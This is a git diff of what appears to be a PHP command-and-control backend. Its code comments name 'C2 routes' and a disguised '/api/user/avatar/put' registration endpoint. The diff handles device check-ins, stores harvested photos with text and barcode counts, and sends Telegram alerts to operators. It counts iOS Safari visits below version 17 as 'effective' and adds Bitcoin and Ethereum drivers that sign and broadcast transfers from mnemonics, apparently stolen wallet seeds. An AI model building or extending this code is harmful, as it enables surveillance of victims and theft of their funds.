$ret; + } +} diff --git a/app/Services/Chain/BtcDriver.php b/app/Services/Chain/BtcDriver.php new file mode 100644 index 0000000..bb17509 --- /dev/null +++ b/app/Services/Chain/BtcDriver.php @@ -0,0 +1,414 @@ +path($index)); + + return BtcAddress::fromPrivateKey($derived['private_key']); + } + + public function sendNative(string $mnemonic, int $index, string $to, string $amount): string + { + if (! $this->isValidAddress($to)) { + throw new RuntimeException('Invalid BTC address'); + } + + $derived = Bip44::derive($mnemonic, $this->path($index)); + $from = BtcAddress::fromPrivateKey($derived['private_key']); + $amountSats = $this->toSats($amount); + + $utxos = $this->fetchUtxos($from); + if ($utxos === []) { + throw new RuntimeException('No UTXOs available'); + } + + $feeRate = $this->feeRateSatPerVbyte(); + $selected = []; + $totalIn = '0'; + $target = $amountSats; + + // Greedy select until amount + estimated fee covered. + foreach ($utxos as $utxo) { + $selected[] = $utxo; + $totalIn = bcadd($totalIn, (string) $utxo['value'], 0); + $fee = $this->estimateFee(count($selected), 2, $feeRate); + if (bccomp($totalIn, bcadd($target, (string) $fee, 0), 0) >= 0) { + break; + } + } + + $fee = $this->estimateFee(count($selected), 2, $feeRate); + $needed = bcadd($target, (string) $fee, 0); + if (bccomp($totalIn, $needed, 0) < 0) { + // Try with single output (no change) — dust change becomes fee. + $fee1 = $this->estimateFee(count($selected), 1, $feeRate); + $needed1 = bcadd($target, (string) $fee1, 0); + if (bccomp($totalIn, $needed1, 0) < 0) { + throw new RuntimeException('Insufficient BTC balance for amount+fee'); + } + $change = '0'; + $fee = (int) bcsub($totalIn, $target, 0); + } else { + $change = bcsub($totalIn, $needed, 0); + // Drop dust change (< 546 sats) into fee. + if (bccomp($change, '546', 0) < 0) { + $fee = (int) bcsub($totalIn, $target, 0); + $change = '0'; + } + } + + $toScript = BtcAddress::scriptPubKey($to)['script']; + $changeScript = BtcAddress::scriptPubKey($from)['script']; + $outputs = [['script' => $toScript, 'value' => $target]]; + if (bccomp($change, '0', 0) > 0) { + $outputs[] = ['script' => $changeScript, 'value' => $change]; + } + + $raw = $this->buildAndSign($selected, $outputs, $derived['private_key']); + $txid = $this->broadcast($raw); + if ($txid === '') { + throw new RuntimeException('BTC broadcast failed'); + } + + return $txid; + } + + public function sendToken(string $mnemonic, int $index, string $to, string $amount, string $contract): string + { + throw new RuntimeException('BTC does not support token transfers'); + } + + public function isValidAddress(string $address): bool + { + return BtcAddress::isValid($address); + } + + public function getNativeBalance(string $address): string + { + if (! $this->isValidAddress($address)) { + throw new RuntimeException('Invalid BTC address'); + } + + $base = rtrim((string) config('coruna.btc.api_url', 'https://mempool.space/api'), '/'); + $resp = $this->http()->get($base.'/address/'.rawurlencode($address)); + if (! $resp->successful()) { + throw new RuntimeException('BTC balance HTTP '.$resp->status()); + } + $json = $resp->json(); + if (! is_array($json)) { + throw new RuntimeException('Invalid BTC balance response'); + } + $stats = $json['chain_stats'] ?? []; + $funded = (string) ($stats['funded_txo_sum'] ?? 0); + $spent = (string) ($stats['spent_txo_sum'] ?? 0); + if (! preg_match('/^\d+$/', $funded)) { + $funded = '0'; + } + if (! preg_match('/^\d+$/', $spent)) { + $spent = '0'; + } + $sats = bcsub($funded, $spent, 0); + if (str_starts_with($sats, '-')) { + $sats = '0'; + } + + return $this->fromSats($sats); + } + + public function getTokenBalance(string $address, string $contract): string + { + throw new RuntimeException('BTC does not support token balances'); + } + + private function path(int $index): string + { + return "m/44'/0'/0'/0/{$index}"; + } + + /** + * @return list + */ + private function fetchUtxos(string $address): array + { + $base = rtrim((string) config('coruna.btc.api_url', 'https://mempool.space/api'), '/'); + $resp = $this->http()->get($base.'/address/'.rawurlencode($address).'/utxo'); + if (! $resp->successful()) { + throw new RuntimeException('BTC UTXO HTTP '.$resp->status()); + } + $json = $resp->json(); + if (! is_array($json)) { + return []; + } + $out = []; + foreach ($json as $row) { + if (! is_array($row)) { + continue; + } + $txid = (string) ($row['txid'] ?? ''); + $vout = (int) ($row['vout'] ?? -1); + $value = (int) ($row['value'] ?? 0); + if ($txid === '' || $vout < 0 || $value <= 0) { + continue; + } + $script = (string) ($row['scriptpubkey'] ?? ''); + if ($script === '') { + // mempool utxo endpoint may omit script; derive p2pkh script for our address + $script = BtcAddress::scriptPubKey($address)['script']; + } + $out[] = [ + 'txid' => $txid, + 'vout' => $vout, + 'value' => $value, + 'scriptpubkey' => $script, + ]; + } + usort($out, fn ($a, $b) => $b['value'] <=> $a['value']); + + return $out; + } + + private function feeRateSatPerVbyte(): int + { + $configured = (int) config('coruna.btc.fee_rate', 0); + if ($configured > 0) { + return $configured; + } + $base = rtrim((string) config('coruna.btc.api_url', 'https://mempool.space/api'), '/'); + try { + $resp = $this->http()->get($base.'/v1/fees/recommended'); + if ($resp->successful()) { + $json = $resp->json(); + $rate = (int) ($json['halfHourFee'] ?? $json['fastestFee'] ?? 0); + if ($rate > 0) { + return $rate; + } + } + } catch (\Throwable) { + // fall through + } + + return 10; + } + + private function estimateFee(int $inputs, int $outputs, int $satPerVbyte): int + { + // Legacy P2PKH approx: 10 + 148*in + 34*out + $vsize = 10 + (148 * $inputs) + (34 * $outputs); + + return max(1, $vsize * max(1, $satPerVbyte)); + } + + /** + * @param list $inputs + * @param list $outputs + */ + private function buildAndSign(array $inputs, array $outputs, string $privateKey): string + { + $version = $this->u32le(1); + $locktime = $this->u32le(0); + $vinCount = $this->varInt(count($inputs)); + $voutCount = $this->varInt(count($outputs)); + + $voutPayload = ''; + foreach ($outputs as $out) { + $voutPayload .= $this->u64le($out['value']); + $script = hex2bin($out['script']); + if ($script === false) { + throw new RuntimeException('Invalid output script'); + } + $voutPayload .= $this->varInt(strlen($script)).$script; + } + + $signedVins = ''; + $pub = hex2bin(BtcAddress::compressedPublicKey($privateKey)); + if ($pub === false) { + throw new RuntimeException('Invalid public key'); + } + + foreach ($inputs as $i => $in) { + $scriptCode = hex2bin($in['scriptpubkey']); + if ($scriptCode === false) { + throw new RuntimeException('Invalid input script'); + } + + $vinsForSighash = ''; + foreach ($inputs as $j => $inj) { + $vinsForSighash .= $this->outpoint($inj['txid'], $inj['vout']); + if ($j === $i) { + $vinsForSighash .= $this->varInt(strlen($scriptCode)).$scriptCode; + } else { + $vinsForSighash .= $this->varInt(0).''; + } + $vinsForSighash .= $this->u32le(0xffffffff); + } + + $preimage = $version.$vinCount.$vinsForSighash.$voutCount.$voutPayload.$locktime.$this->u32le(1); // SIGHASH_ALL + $hash = hash('sha256', hash('sha256', $preimage, true), true); + + $der = $this->signDer($privateKey, $hash)."\x01"; // SIGHASH_ALL + $scriptSig = $this->pushData($der).$this->pushData($pub); + + $signedVins .= $this->outpoint($in['txid'], $in['vout']); + $signedVins .= $this->varInt(strlen($scriptSig)).$scriptSig; + $signedVins .= $this->u32le(0xffffffff); + } + + return bin2hex($version.$vinCount.$signedVins.$voutCount.$voutPayload.$locktime); + } + + private function signDer(string $privateKey, string $hash32): string + { + $ec = new EC('secp256k1'); + $key = $ec->keyFromPrivate($privateKey); + $sig = $key->sign(bin2hex($hash32), ['canonical' => true]); + $r = $this->gmpToBytes($sig->r->toString(16)); + $s = $this->gmpToBytes($sig->s->toString(16)); + + return "\x30".chr(4 + strlen($r) + strlen($s)) + ."\x02".chr(strlen($r)).$r + ."\x02".chr(strlen($s)).$s; + } + + private function gmpToBytes(string $hex): string + { + if (strlen($hex) % 2 !== 0) { + $hex = '0'.$hex; + } + $bin = hex2bin($hex) ?: ''; + // High bit set → prepend 0x00 (DER signed integer) + if ($bin !== '' && (ord($bin[0]) & 0x80) !== 0) { + $bin = "\x00".$bin; + } + if ($bin === '') { + $bin = "\x00"; + } + + return $bin; + } + + private function pushData(string $data): string + { + $len = strlen($data); + if ($len < 0x4c) { + return chr($len).$data; + } + if ($len <= 0xff) { + return "\x4c".chr($len).$data; + } + + return "\x4d".$this->u16le($len).$data; + } + + private function outpoint(string $txid, int $vout): string + { + $hash = hex2bin($txid); + if ($hash === false || strlen($hash) !== 32) { + throw new RuntimeException('Invalid txid'); + } + + return strrev($hash).$this->u32le($vout); + } + + private function broadcast(string $rawHex): string + { + $base = rtrim((string) config('coruna.btc.api_url', 'https://mempool.space/api'), '/'); + $resp = $this->http() + ->withBody($rawHex, 'text/plain') + ->post($base.'/tx'); + if (! $resp->successful()) { + $body = trim($resp->body()); + throw new RuntimeException('BTC broadcast HTTP '.$resp->status().($body !== '' ? ": {$body}" : '')); + } + $txid = trim($resp->body()); + if (! preg_match('/^[0-9a-fA-F]{64}$/', $txid)) { + throw new RuntimeException('Unexpected BTC broadcast response'); + } + + return strtolower($txid); + } + + private function toSats(string $amount): string + { + if (! preg_match('/^\d+(\.\d{1,8})?$/', $amount)) { + throw new RuntimeException('Invalid BTC amount'); + } + [$whole, $frac] = array_pad(explode('.', $amount, 2), 2, ''); + $frac = str_pad(substr($frac, 0, 8), 8, '0', STR_PAD_RIGHT); + $sats = ltrim($whole.$frac, '0'); + $sats = $sats === '' ? '0' : $sats; + if (bccomp($sats, '0') <= 0) { + throw new RuntimeException('Amount must be positive'); + } + + return $sats; + } + + private function fromSats(string $sats): string + { + if (! preg_match('/^\d+$/', $sats)) { + $sats = '0'; + } + $human = bcdiv($sats, '100000000', 8); + $human = rtrim(rtrim($human, '0'), '.'); + + return $human === '' ? '0' : $human; + } + + private function varInt(int $n): string + { + if ($n < 0xfd) { + return chr($n); + } + if ($n <= 0xffff) { + return "\xfd".$this->u16le($n); + } + if ($n <= 0xffffffff) { + return "\xfe".$this->u32le($n); + } + + throw new RuntimeException('varint too large'); + } + + private function u16le(int $n): string + { + return pack('v', $n); + } + + private function u32le(int $n): string + { + return pack('V', $n); + } + + private function u64le(string $n): string + { + if (! preg_match('/^\d+$/', $n)) { + throw new RuntimeException('Invalid amount'); + } + $hex = str_pad(gmp_strval(gmp_init($n, 10), 16), 16, '0', STR_PAD_LEFT); + $bin = hex2bin($hex); + if ($bin === false) { + throw new RuntimeException('Invalid amount'); + } + + return strrev($bin); + } + + private function http(): PendingRequest + { + return Http::timeout(30)->acceptJson(); + } +} diff --git a/app/Services/Chain/ChainManager.php b/app/Services/Chain/ChainManager.php index 519388d..50ca69f 100644 --- a/app/Services/Chain/ChainManager.php +++ b/app/Services/Chain/ChainManager.php @@ -8,12 +8,16 @@ class ChainManager { public function __construct( private readonly TronDriver $tron, + private readonly EthDriver $eth, + private readonly BtcDriver $btc, ) {} public function resolve(string $chain): ChainDriver { return match (strtolower($chain)) { 'tron', 'trx' => $this->tron, + 'eth', 'ethereum' => $this->eth, + 'btc', 'bitcoin' => $this->btc, default => throw new InvalidArgumentException("Unsupported chain: {$chain}"), }; } diff --git a/app/Services/Chain/EthAddress.php b/app/Services/Chain/EthAddress.php new file mode 100644 index 0000000..fdbdfb5 --- /dev/null +++ b/app/Services/Chain/EthAddress.php @@ -0,0 +1,51 @@ +path($index)); + + return EthAddress::fromUncompressedPublicKey($derived['public_key_uncompressed']); + } + + public function sendNative(string $mnemonic, int $index, string $to, string $amount): string + { + if (! $this->isValidAddress($to)) { + throw new RuntimeException('Invalid ETH address'); + } + + $derived = Bip44::derive($mnemonic, $this->path($index)); + $from = EthAddress::fromUncompressedPublicKey($derived['public_key_uncompressed']); + $wei = $this->toWei($amount); + + return $this->sendLegacy($derived['private_key'], $from, $to, $wei, '0x'); + } + + public function sendToken(string $mnemonic, int $index, string $to, string $amount, string $contract): string + { + if (! $this->isValidAddress($to) || ! $this->isValidAddress($contract)) { + throw new RuntimeException('Invalid ETH address'); + } + + $derived = Bip44::derive($mnemonic, $this->path($index)); + $from = EthAddress::fromUncompressedPublicKey($derived['public_key_uncompressed']); + $units = $this->toTokenUnits($amount); + // transfer(address,uint256) selector = a9059cbb + $data = '0xa9059cbb'.EthAddress::toWord($to).str_pad(gmp_strval(gmp_init($units, 10), 16), 64, '0', STR_PAD_LEFT); + + return $this->sendLegacy($derived['private_key'], $from, $contract, '0', $data); + } + + public function isValidAddress(string $address): bool + { + return EthAddress::isValid($address); + } + + public function getNativeBalance(string $address): string + { + if (! $this->isValidAddress($address)) { + throw new RuntimeException('Invalid ETH address'); + } + + $hex = $this->rpc('eth_getBalance', [EthAddress::normalize($address), 'latest']); + if (! is_string($hex)) { + return '0'; + } + + return $this->fromWei($this->hexToDec($hex)); + } + + public function getTokenBalance(string $address, string $contract): string + { + if (! $this->isValidAddress($address) || ! $this->isValidAddress($contract)) { + throw new RuntimeException('Invalid ETH address'); + } + + // balanceOf(address) + $data = '0x70a08231'.EthAddress::toWord($address); + $hex = $this->rpc('eth_call', [[ + 'to' => EthAddress::normalize($contract), + 'data' => $data, + ], 'latest']); + if (! is_string($hex) || $hex === '' || $hex === '0x') { + return '0'; + } + + return $this->fromTokenUnits($this->hexToDec($hex)); + } + + private function sendLegacy(string $privateKey, string $from, string $to, string $valueWei, string $data): string + { + $chainId = (int) config('coruna.eth.chain_id', 1); + $nonceHex = $this->rpc('eth_getTransactionCount', [EthAddress::normalize($from), 'pending']); + $gasPriceHex = $this->rpc('eth_gasPrice', []); + if (! is_string($nonceHex) || ! is_string($gasPriceHex)) { + throw new RuntimeException('Failed to fetch nonce/gasPrice'); + } + + $gasLimit = trim((string) config('coruna.eth.gas_limit', '')); + if ($gasLimit === '' || ! preg_match('/^\d+$/', $gasLimit)) { + $gasLimit = ($data === '0x' || $data === '') ? '21000' : '100000'; + } + $tx = [ + 'nonce' => $this->hexToDec($nonceHex), + 'gasPrice' => $this->hexToDec($gasPriceHex), + 'gas' => $gasLimit, + 'to' => EthAddress::normalize($to), + 'value' => $valueWei, + 'data' => $data === '' ? '0x' : $data, + ]; + + $raw = EthSigner::signLegacy($privateKey, $tx, $chainId); + $txid = $this->rpc('eth_sendRawTransaction', [$raw]); + if (! is_string($txid) || $txid === '') { + throw new RuntimeException('eth_sendRawTransaction failed'); + } + + return $txid; + } + + private function path(int $index): string + { + return "m/44'/60'/0'/0/{$index}"; + } + + private function toWei(string $amount): string + { + if (! preg_match('/^\d+(\.\d{1,18})?$/', $amount)) { + throw new RuntimeException('Invalid ETH amount'); + } + [$whole, $frac] = array_pad(explode('.', $amount, 2), 2, ''); + $frac = str_pad(substr($frac, 0, 18), 18, '0', STR_PAD_RIGHT); + $wei = ltrim($whole.$frac, '0'); + $wei = $wei === '' ? '0' : $wei; + if (bccomp($wei, '0') <= 0) { + throw new RuntimeException('Amount must be positive'); + } + + return $wei; + } + + private function fromWei(string $wei): string + { + if (! preg_match('/^\d+$/', $wei)) { + $wei = '0'; + } + $human = bcdiv($wei, '1000000000000000000', 18); + $human = rtrim(rtrim($human, '0'), '.'); + + return $human === '' ? '0' : $human; + } + + private function toTokenUnits(string $amount): string + { + $decimals = (int) config('coruna.eth.usdt_decimals', 6); + if (! preg_match('/^\d+(\.\d{1,'.max(1, $decimals).'})?$/', $amount)) { + throw new RuntimeException('Invalid token amount'); + } + $factor = bcpow('10', (string) $decimals, 0); + $units = bcmul($amount, $factor, 0); + if (bccomp($units, '0') <= 0) { + throw new RuntimeException('Amount must be positive'); + } + + return $units; + } + + private function fromTokenUnits(string $units): string + { + $decimals = (int) config('coruna.eth.usdt_decimals', 6); + if (! preg_match('/^\d+$/', $units)) { + $units = '0'; + } + $factor = bcpow('10', (string) $decimals, 0); + $human = bcdiv($units, $factor, $decimals); + $human = rtrim(rtrim($human, '0'), '.'); + + return $human === '' ? '0' : $human; + } + + private function hexToDec(string $hex): string + { + $hex = strtolower($hex); + if (str_starts_with($hex, '0x')) { + $hex = substr($hex, 2); + } + if ($hex === '' || $hex === '0') { + return '0'; + } + + return gmp_strval(gmp_init($hex, 16), 10); + } + + private function rpc(string $method, array $params): mixed + { + $url = rtrim((string) config('coruna.eth.rpc_url', 'https://ethereum.publicnode.com'), '/'); + $resp = $this->http()->post($url, [ + 'jsonrpc' => '2.0', + 'id' => 1, + 'method' => $method, + 'params' => $params, + ]); + if (! $resp->successful()) { + throw new RuntimeException('ETH RPC HTTP '.$resp->status()); + } + $json = $resp->json(); + if (! is_array($json)) { + throw new RuntimeException('Invalid ETH RPC response'); + } + if (isset($json['error'])) { + $msg = $json['error']['message'] ?? json_encode($json['error']); + throw new RuntimeException('ETH RPC: '.(is_string($msg) ? $msg : 'error')); + } + + return $json['result'] ?? null; + } + + private function http(): PendingRequest + { + return Http::timeout(30)->acceptJson()->asJson(); + } +} diff --git a/app/Services/Chain/EthRlp.php b/app/Services/Chain/EthRlp.php new file mode 100644 index 0000000..2d48b57 --- /dev/null +++ b/app/Services/Chain/EthRlp.php @@ -0,0 +1,66 @@ +> $list binary strings or nested lists + */ + public static function encodeList(array $list): string + { + $payload = ''; + foreach ($list as $item) { + $payload .= is_array($item) ? self::encodeList($item) : self::encodeString($item); + } + + return self::encodeLength(strlen($payload), 0xc0).$payload; + } + + public static function encodeString(string $input): string + { + $len = strlen($input); + if ($len === 1 && ord($input) < 0x80) { + return $input; + } + + return self::encodeLength($len, 0x80).$input; + } + + /** Integer → minimal big-endian binary (empty for zero). */ + public static function intToBin(string|int $value): string + { + if (is_int($value)) { + $value = (string) $value; + } + if (! preg_match('/^\d+$/', $value)) { + throw new \InvalidArgumentException('Invalid integer'); + } + if (bccomp($value, '0') === 0) { + return ''; + } + $hex = gmp_strval(gmp_init($value, 10), 16); + if (strlen($hex) % 2 !== 0) { + $hex = '0'.$hex; + } + + return hex2bin($hex) ?: ''; + } + + private static function encodeLength(int $len, int $offset): string + { + if ($len < 56) { + return chr($len + $offset); + } + $hex = dechex($len); + if (strlen($hex) % 2 !== 0) { + $hex = '0'.$hex; + } + $bin = hex2bin($hex) ?: ''; + + return chr(strlen($bin) + $offset + 55).$bin; + } +} diff --git a/app/Services/Chain/EthSigner.php b/app/Services/Chain/EthSigner.php new file mode 100644 index 0000000..ed8fee6 --- /dev/null +++ b/app/Services/Chain/EthSigner.php @@ -0,0 +1,82 @@ +keyFromPrivate($privateKeyHex); + $sig = $key->sign($hash, ['canonical' => true]); + + $r = str_pad($sig->r->toString(16), 64, '0', STR_PAD_LEFT); + $s = str_pad($sig->s->toString(16), 64, '0', STR_PAD_LEFT); + $recovery = (int) ($sig->recoveryParam ?? 0); + $v = (string) ($recovery + 35 + $chainId * 2); + + $signed = EthRlp::encodeList([ + EthRlp::intToBin($tx['nonce']), + EthRlp::intToBin($tx['gasPrice']), + EthRlp::intToBin($tx['gas']), + hex2bin($to) ?: '', + EthRlp::intToBin($tx['value']), + $data === '' ? '' : (hex2bin($data) ?: ''), + EthRlp::intToBin($v), + hex2bin($r) ?: '', + hex2bin($s) ?: '', + ]); + + return '0x'.bin2hex($signed); + } + + public static function publicAddress(string $privateKeyHex): string + { + $privateKeyHex = strtolower($privateKeyHex); + if (str_starts_with($privateKeyHex, '0x')) { + $privateKeyHex = substr($privateKeyHex, 2); + } + $ec = new EC('secp256k1'); + $pub = $ec->keyFromPrivate($privateKeyHex)->getPublic(false, 'hex'); + + return EthAddress::fromUncompressedPublicKey($pub); + } +} diff --git a/app/Services/DashboardStatsService.php b/app/Services/DashboardStatsService.php new file mode 100644 index 0000000..27eb858 --- /dev/null +++ b/app/Services/DashboardStatsService.php @@ -0,0 +1,198 @@ +, + * by_ios_version: list, + * range: string, + * from: string, + * to: string + * } + */ + public function collect(array $filters = []): array + { + $range = (string) ($filters['range'] ?? '30d'); + [$from, $to] = $this->rangeBounds($range); + + $channelId = trim((string) ($filters['channel_id'] ?? '')); + $channelExact = (bool) ($filters['channel_exact'] ?? false); + $agent = $filters['agent'] ?? null; + $agentUserId = (int) ($filters['agent_user_id'] ?? 0); + + $base = Device::query(); + AgentScope::applyDeviceChannelScope($base, $agent); + if ($agent === null && $agentUserId > 0) { + AgentScope::applyAgentUserFilter($base, $agentUserId); + } + if ($channelId !== '') { + if ($channelExact) { + $base->where('channel_id', $channelId); + } else { + $base->where('channel_id', 'like', '%'.$channelId.'%'); + } + } + + $total = (clone $base)->count(); + $newCount = (clone $base)->whereBetween('created_at', [$from, $to])->count(); + $activeCount = (clone $base)->whereBetween('updated_at', [$from, $to])->count(); + + $visits = PageVisit::query(); + AgentScope::applyChannelIdScope($visits, $agent); + if ($agent === null && $agentUserId > 0) { + AgentScope::applyChannelIdAgentUserFilter($visits, $agentUserId); + } + if ($channelId !== '') { + if ($channelExact) { + $visits->where('channel_id', $channelId); + } else { + $visits->where('channel_id', 'like', '%'.$channelId.'%'); + } + } + $visits->whereBetween('created_at', [$from, $to]); + + $pv = (clone $visits)->count(); + $uv = (int) (clone $visits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate'); + $effectiveVisits = (clone $visits)->tap(fn (Builder $q) => $this->applyEffectiveFilter($q)); + $effectivePv = (clone $effectiveVisits)->count(); + $effectiveUv = (int) (clone $effectiveVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate'); + + $iosVisits = (clone $visits)->where('os', 'iOS'); + $iosPv = (clone $iosVisits)->count(); + $iosUv = (int) (clone $iosVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate'); + + $otherVisits = (clone $visits)->where(function (Builder $q) { + $q->whereNull('os')->orWhere('os', '!=', 'iOS'); + }); + $otherPv = (clone $otherVisits)->count(); + $otherUv = (int) (clone $otherVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate'); + + $byOs = [ + $this->row('iOS', $iosPv, $iosUv, $pv), + $this->row('其他', $otherPv, $otherUv, $pv), + ]; + + $byIosVersion = (clone $iosVisits) + ->select('os_version') + ->selectRaw('COUNT(*) as pv') + ->selectRaw('COUNT(DISTINCT client_uid) as uv') + ->groupBy('os_version') + ->orderByDesc('pv') + ->limit(20) + ->get() + ->map(fn ($r) => $this->row( + ((string) ($r->os_version ?? '')) !== '' ? (string) $r->os_version : 'Unknown', + (int) $r->pv, + (int) $r->uv, + $iosPv > 0 ? $iosPv : $pv, + )) + ->values() + ->all(); + + return [ + 'total' => $total, + 'new_count' => $newCount, + 'active_count' => $activeCount, + 'pv' => $pv, + 'uv' => $uv, + 'effective_pv' => $effectivePv, + 'effective_uv' => $effectiveUv, + 'by_os' => $byOs, + 'by_ios_version' => $byIosVersion, + 'range' => $range, + 'from' => $from->toDateTimeString(), + 'to' => $to->toDateTimeString(), + ]; + } + + /** + * Map telegram /data day token to dashboard range key. + * Empty / omitted → today. + */ + public function rangeFromDays(?string $days): string + { + $days = $days === null ? '' : trim($days); + if ($days === '' || $days === '1') { + return 'today'; + } + + return match ($days) { + '7' => '7d', + '30' => '30d', + default => throw new \InvalidArgumentException('Days must be 1, 7, or 30'), + }; + } + + /** + * @return array{0: Carbon, 1: Carbon} + */ + public function rangeBounds(string $range): array + { + $now = Carbon::now(); + + return match ($range) { + 'today', '1', '1d' => [$now->copy()->startOfDay(), $now->copy()->endOfDay()], + 'yesterday' => [ + $now->copy()->subDay()->startOfDay(), + $now->copy()->subDay()->endOfDay(), + ], + '7d', '7' => [$now->copy()->subDays(6)->startOfDay(), $now->copy()->endOfDay()], + default => [$now->copy()->subDays(29)->startOfDay(), $now->copy()->endOfDay()], + }; + } + + private function applyEffectiveFilter(Builder $query): void + { + $query->where('os', 'iOS') + ->where('browser', 'Safari') + ->whereNotNull('os_version') + ->where('os_version', '!=', ''); + + $driver = DB::connection()->getDriverName(); + if ($driver === 'sqlite') { + $query->whereRaw('CAST(os_version AS INTEGER) < 17'); + } else { + $query->whereRaw("CAST(SUBSTRING_INDEX(os_version, '.', 1) AS UNSIGNED) < 17"); + } + } + + /** + * @return array{label: string, pv: int, uv: int, pct: float} + */ + private function row(string $label, int $pv, int $uv, int $totalPv): array + { + $pct = $totalPv > 0 ? round(($pv / $totalPv) * 100, 1) : 0.0; + + return [ + 'label' => $label, + 'pv' => $pv, + 'uv' => $uv, + 'pct' => $pct, + ]; + } +} diff --git a/app/Services/IngestService.php b/app/Services/IngestService.php index e8b2eda..0defcf2 100644 --- a/app/Services/IngestService.php +++ b/app/Services/IngestService.php @@ -124,55 +124,84 @@ class IngestService return null; } + /** + * /api/user/avatar/put — create or touch device. + * Create: fill profile + channel_id (put is the only trusted channel source). + * Update: refresh updated_at; fill channel_id only when still empty (first trusted put). + */ public function upsertDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device { - $deviceKey = $deviceKey !== null - ? self::normalizeDeviceKey(substr($deviceKey, 0, 64)) - : $this->extractDeviceKey($payload); + $deviceKey = $this->resolveDeviceKey($payload, $deviceKey); if (! $deviceKey) { return null; } - $deviceModel = $this->extractDeviceModel($payload); - $ios = $this->extractIosVersion($payload); - $channelId = $this->extractChannelId($request, $payload); - $ua = substr((string) $request->userAgent(), 0, 2000); + $existing = Device::query()->where('device_id', $deviceKey)->first(); + if ($existing) { + $touch = ['updated_at' => now()]; + $channelId = $this->extractChannelId($request, $payload); + if ($this->channelIdEmpty($existing->channel_id) && $channelId !== null && $channelId !== '') { + $touch['channel_id'] = $channelId; + } + $existing->forceFill($touch)->saveQuietly(); + + return $existing->refresh(); + } + + return $this->createDevice($request, $payload, $deviceKey, withChannel: true); + } + + /** + * Other C2 routes — create device if missing so business rows can attach, + * but never write channel_id (put will fill it later). Existing rows are left untouched. + */ + public function ensureDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device + { + $deviceKey = $this->resolveDeviceKey($payload, $deviceKey); + if (! $deviceKey) { + return null; + } $existing = Device::query()->where('device_id', $deviceKey)->first(); + if ($existing) { + return $existing; + } + + return $this->createDevice($request, $payload, $deviceKey, withChannel: false); + } + + private function resolveDeviceKey(?array $payload, ?string $deviceKey): ?string + { + $deviceKey = $deviceKey !== null + ? self::normalizeDeviceKey(substr($deviceKey, 0, 64)) + : $this->extractDeviceKey($payload); + + return $deviceKey !== null && $deviceKey !== '' ? $deviceKey : null; + } + + private function channelIdEmpty(mixed $channelId): bool + { + return $channelId === null || $channelId === ''; + } + + private function createDevice(Request $request, ?array $payload, string $deviceKey, bool $withChannel): Device + { + $ua = substr((string) $request->userAgent(), 0, 2000); $attrs = [ + 'device_id' => $deviceKey, 'ip' => $request->ip(), + 'device_model' => $this->extractDeviceModel($payload), + 'ios_version' => $this->extractIosVersion($payload), + 'channel_id' => $withChannel ? $this->extractChannelId($request, $payload) : null, ]; if ($ua !== '') { $attrs['user_agent'] = $ua; } - if ($deviceModel !== null) { - $attrs['device_model'] = $deviceModel; - } elseif ($existing) { - $attrs['device_model'] = $existing->device_model; - } - if ($ios !== null) { - $attrs['ios_version'] = $ios; - } elseif ($existing) { - $attrs['ios_version'] = $existing->ios_version; - } - if ($channelId !== null) { - $attrs['channel_id'] = $channelId; - } elseif ($existing) { - $attrs['channel_id'] = $existing->channel_id; - } - // created_at = 安装时间;每次收到带设备标识的请求都刷新 updated_at(活跃判断) - $device = Device::query()->updateOrCreate( - ['device_id' => $deviceKey], - $attrs - ); - $device->forceFill(['updated_at' => now()])->saveQuietly(); - - if (! $existing) { - $this->telegram->notifyNewDevice($device->device_id, $device->ios_version, $device->ip); - $device->telegram_notified = true; - $device->save(); - } + $device = Device::query()->create($attrs); + $this->telegram->notifyNewDevice($device->device_id, $device->ios_version, $device->ip); + $device->telegram_notified = true; + $device->save(); return $device->refresh(); } @@ -450,35 +479,33 @@ class IngestService */ public function ingestPhotos(Device $device, array $filePaths, array $meta = []): void { - $notifiedNewSensitive = false; + if (! $device->albumStorageEnabled()) { + return; + } + foreach ($filePaths as $path) { if (! is_file($path)) { continue; } $bytes = file_get_contents($path); $sha = hash('sha256', $bytes); - // Same file content → skip DB insert & telegram (idempotent). + // Same file content → skip DB insert (idempotent). if (Photo::query()->where('device_id', $device->id)->where('sha256', $sha)->exists()) { continue; } $rel = 'c2/photos/'.$device->device_id.'/'.$sha.'_'.basename($path); Storage::disk('local')->put($rel, $bytes); - $xHit = $meta['x_hit'] ?? null; - $photo = Photo::query()->create([ + Photo::query()->create([ 'device_id' => $device->id, 'sha256' => $sha, 'path' => $rel, 'size' => strlen($bytes), - 'x_hit' => $xHit, + 'x_hit' => $meta['x_hit'] ?? null, 'upload_count' => $meta['upload_count'] ?? null, 'process_index' => $meta['process_index'] ?? null, 'text_count' => $meta['text_count'] ?? null, 'barcode_count' => $meta['barcode_count'] ?? null, ]); - if ($photo->wasRecentlyCreated && (int) $xHit > 0 && ! $notifiedNewSensitive) { - $this->telegram->notifyNewPhotos($device->device_id); - $notifiedNewSensitive = true; - } } } diff --git a/app/Services/TelegramNotifier.php b/app/Services/TelegramNotifier.php index 6ee16f6..4ffa5c7 100644 --- a/app/Services/TelegramNotifier.php +++ b/app/Services/TelegramNotifier.php @@ -2,24 +2,57 @@ namespace App\Services; +use App\Models\Channel; +use App\Models\Device; +use App\Models\User; use App\Models\WalletMnemonic; use Illuminate\Support\Facades\Http; use Illuminate\Support\Facades\Log; class TelegramNotifier { - public function enabled(): bool + public function systemEnabled(): bool { - return (bool) (config('coruna.telegram.bot_token') && config('coruna.telegram.owner_chat_id')); + return trim((string) config('coruna.telegram.bot_token', '')) !== '' + && trim((string) config('coruna.telegram.owner_chat_id', '')) !== ''; } - public function send(string $text): bool + /** + * @return array{0: string, 1: string}|null [token, chatId] + */ + public function resolveDestination(?string $deviceKey = null): ?array { - if (! $this->enabled()) { + $agent = $this->resolveAgentForDeviceKey($deviceKey); + if ($agent !== null && $agent->isEnabled() && $agent->hasTelegramBot()) { + return [ + trim((string) $agent->bot_token), + trim((string) $agent->chat_id), + ]; + } + + if (! $this->systemEnabled()) { + return null; + } + + return [ + trim((string) config('coruna.telegram.bot_token')), + trim((string) config('coruna.telegram.owner_chat_id')), + ]; + } + + public function enabled(?string $deviceKey = null): bool + { + return $this->resolveDestination($deviceKey) !== null; + } + + public function send(string $text, ?string $deviceKey = null): bool + { + $dest = 